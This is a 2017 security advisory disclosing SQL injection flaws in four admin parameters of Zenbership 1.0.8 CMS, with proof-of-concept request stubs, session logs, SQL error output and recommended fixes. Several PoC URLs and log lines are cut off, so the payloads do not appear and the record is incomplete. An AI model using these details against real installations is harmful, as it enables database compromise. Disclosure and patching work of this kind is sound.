===============
Zenbership 1.0.8 CMS - Multiple SQL Injection Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.
Release Date:
=============
2017-06-09
Vulnerability Laboratory ID (VL-ID):
==============================
2073
Common Vulnerability Scoring System:
==============================
5.3
Vulnerability Class:
====================
SQL Injection
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
==============================
Zenbership is a free & open source membership management platform for online businesses facilitating the acquisition, monetization,
and retention of members. The software is designed to act as a central hub for your employees, combining multiple tools into one
solution, and automating tasks like member registration, renewals, and marketing. Your members will also benefit from a branded
self-service portal to update data, manage subscriptions, get news, and view event registrations.
(Copy of the Homepage: http://www.zenbership.com/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the official
Zenbership v1.0.8 ecommerce crm content management system web-application.
Vulnerability Disclosure Timeline:
==============================
2017-06-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Castlamp
Product: Zenbership - Content Management System (Web-Application) 1.0.8
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
The sql-injection vulnerability allows remote attackers or privileged user accounts to execute malicious sql commands to
compromise the web-application and database management system.
The vulnerabilities are located in the `error_codes`, `subscriptions`, `widget` and `logins` parameters of the `./admin/index.php`
file. Attackers with privileged web-application user accounts are able to execute malicious sql commands via GET method request.
The requested content of the files is not sanitized via parse or escape.
The security risk of the vulnerabilities are estimated as medium with a common vulnerability scoring system count of 5.3.
Exploitation of the sql-injection vulnerability requires a privileged web-application user account without user interaction.
Successful exploitation of the web vulnerability results in web-application or database management system compromise.
Request Method(s):
[+] GET
Vulnerable File(s):
[+] index.php
Vulnerable Parameter(s):
[+] error_codes
[+] subscriptions
[+] widget
[+] logins
Proof of Concept (PoC):
=======================
The sql-injection vulnerabilities can be exploited by remote attackers without user interaction and with privileged user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
./Zenbership/admin/index.php?
./Zenbership/admin/index.php?
./Zenbership/admin/index.php?
./Zenbership/admin/index.php?
PoC: Exploitation
<html>
<head><body>
<title>Zenbership SQL-Injection Proof of Concept Requester</title>
<iframe=https://zenbership.
<iframe=https://zenbership.
<iframe=https://zenbership.
<iframe=https://zenbership.
</body></head>
</html>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://zenbership.localhost:
Mime Type[text/html]
Request Header:
Host[zenbership.localhost:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept[text/html,application/
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate, br]
Cookie[zen_admin_ses=
DNT[1]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Date[Tue, 09 May 2017 18:26:51 GMT]
Server[Apache/2.2.31 (Unix)]
X-Powered-By[PHP/5.3.29]
Content-Length[360]
Connection[close]
Content-Type[text/html; charset=UTF-8]
--- SQL Error Exception Log ---
Invalid query (SELECT `value` FROM `ppSD_options` WHERE `id`=? LIMIT 1): 42S02---1146---Table 'soft_zenber.ppSD_options' doesn't exist time_change
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_error_codes` WHERE ppSD_error_codes'.code LIKE '%I%' ):
42000---1064---You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''.code LIKE '%I%'' at line 1
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_subscriptions` WHERE ppSD_subscriptions'.status='1' ):
42000---1064---You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''.status='1'' at line 1
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_cart_sessions` LEFT JOIN `ppSD_cart_session_totals` ON
ppSD_cart_sessions.id=ppSD_
LEFT JOIN `ppSD_cart_billing` ON ppSD_cart_sessions.id=ppSD_
42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''.status='2'' at line 1
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_logins` WHERE ppSD_logins-1'.date>'2017-04-
42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''.date>'2017-04-09'' at line 1
---
Invalid query (unkown column)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near 20
Reference(s):
https://zenbership.localhost:
https://zenbership.localhost:
https://zenbership.localhost:
https://zenbership.localhost:
Solution - Fix & Patch:
=======================
The sql-injection can be patched by usage of a prepared statement.
Disallow to show the error logs.
Escape the parameter values to prevent exploitation of the vulnerabilities.
Security Risk:
==============
The security risk of the remote sql-injection vulnerabilities in the web-application is estimated as medium (CVSS 5.3).
Credits & Authors:
==================
N/A - Anonymous
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.
Feeds: vulnerability-lab.com/rss/rss.
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
Komentarų nėra:
Rašyti komentarą